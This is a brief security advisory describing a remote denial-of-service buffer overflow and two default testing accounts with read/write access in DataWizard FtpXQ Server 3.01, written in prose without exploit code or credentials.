DataWizard FtpXQ Server is prone to multiple remote vulnerabilities:

- A remote denial-of-service issue occurs because the application fails to perform adequate bounds checks on user-supplied data before copying it to an insufficiently sized buffer. An attacker could exploit this issue to crash the application, denying access to legitimate users.

- The application creates two testing accounts by default. An attacker can access these accounts to gain read/write privileges on the server, which could result in the compromise of the affected computer.

FtpXQ Server 3.01 is vulnerable; other version may also be affected.
